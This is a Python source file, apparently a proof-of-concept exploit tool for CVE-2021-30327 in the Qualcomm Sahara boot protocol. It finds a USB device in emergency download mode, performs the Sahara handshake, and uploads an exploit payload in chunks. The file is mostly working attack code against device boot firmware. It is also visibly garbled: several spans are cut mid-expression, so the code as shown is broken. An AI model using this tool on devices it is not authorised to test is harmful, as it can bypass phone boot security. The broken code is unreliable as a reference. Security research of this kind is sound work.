import shutil import usb.core import usb.util import usb.backend.libusb1 import libusb import argparse import struct import sys import os import coloredlogs import logging import re from time import sleep from struct import pack from soc_data import SOC_DATA logger = logging.getLogger(__name__) # Enable to see TX/RX logs verbose = False EDL_VID = 0x0fce EDL_PID = 0xade5 USB_TIMEOUT_MS = 1500 USB_READ_SIZE = 0x1000 class EDLDevice: def __init__(self): self.dev = None self.ep_in = None self.ep_out = None def connect(self) -> bool: logger.info("Searching for Qualcomm device in Sahara state") backend = usb.backend.libusb1.get_backend() if backend is None: logger.error( "libusb not found." "If you're on Windows, please install Zadig drivers" ) return False self.dev = usb.core.find(idVendor=EDL_VID, idProduct=EDL_PID, backend=backend) if self.dev is None: logger.error("No device in Sahara.") return False logger.info("Found device!") # detach kernel driver on linux if sys.platform != "win32": try: if self.dev.is_kernel_driver_active(0): logger.debug("Detaching kernel driver") self.dev.detach_kernel_driver(0) except usb.core.USBError as e: logger.warning("Could not detach kernel driver: %s", e) self.dev.set_configuration() cfg = self.dev.get_active_configuration() intf = cfg[(0, 0)] self.ep_out = usb.util.find_descriptor( intf, custom_match=lambda e: usb.util.endpoint_direction(e.bEndpointAddress) == usb.util.ENDPOINT_OUT ) self.ep_in = usb.util.find_descriptor( intf, custom_match=lambda e: usb.util.endpoint_direction(e.bEndpointAddress) == usb.util.ENDPOINT_IN ) logger.info("Connected to device") return True def write(self, data: bytes) -> int: if verbose == True: logger.debug(f"TX (0x{len(data):x}): {data.hex()}") return self.ep_out.write(data, timeout=USB_TIMEOUT_MS) def read(self, size: int = USB_READ_SIZE) -> bytes: data = bytes(self.ep_in.read(size, timeout=USB_TIMEOUT_MS)) if verbose == True: logger.debug(f"RX (0x{len(data):x}): {data.hex()}") return data def close(self): if self.dev: usb.util.dispose_resources(self.dev) self.dev = None logger.info("Device released.") def send_hello_resp(edl, mode, ver_min, max_pkt, version): cmd = 0x2 length = 0x30 # 1-6 placeholders? referenced off of bkerler's code resp_packet = pack(" len(temp_prog): temp_prog += b"\xff" * (end - len(temp_prog)) chunk = temp_prog[data_offset:end] edl.write(chunk) def upload_exploit_payload(edl, path: str): with open(path, "rb") as f: payload = f.read() # we split bulk transfers to 200 byte chunks, seems to be the safest option.. CHUNK_SIZE = 0x200 while True: pkt_req = edl.read(size=0x20) offset, = struct.unpack_from(" - github.com/Daniel224455/katana") parser = argparse.ArgumentParser(description="A PoC for the CVE-2021-30327 vulnerability in Qualcomm Sahara") parser.add_argument('-s', '--soc', type=str, help="SoC model", required=True) parser.add_argument('-e', '--exploit', type=str, help="Exploit PBL (CVE-2021-30327) with a payload", required=True) parser.add_argument('-f', '--firehose', type=str, help="DevPrg image in case the payload reinitializes Sahara", required=False) args = parser.parse_args() soc = args.soc if not soc in SOC_DATA: logger.critical(f"Selected SoC has no entry in soc_data.py!") exit() else: logger.critical(f"Selected SoC: {soc}") edl = EDLDevice() if not edl.connect(): raise SystemExit(1) # Read Sahara hello packet data = edl.read(size=0x30) cmd, length = struct.unpack_from('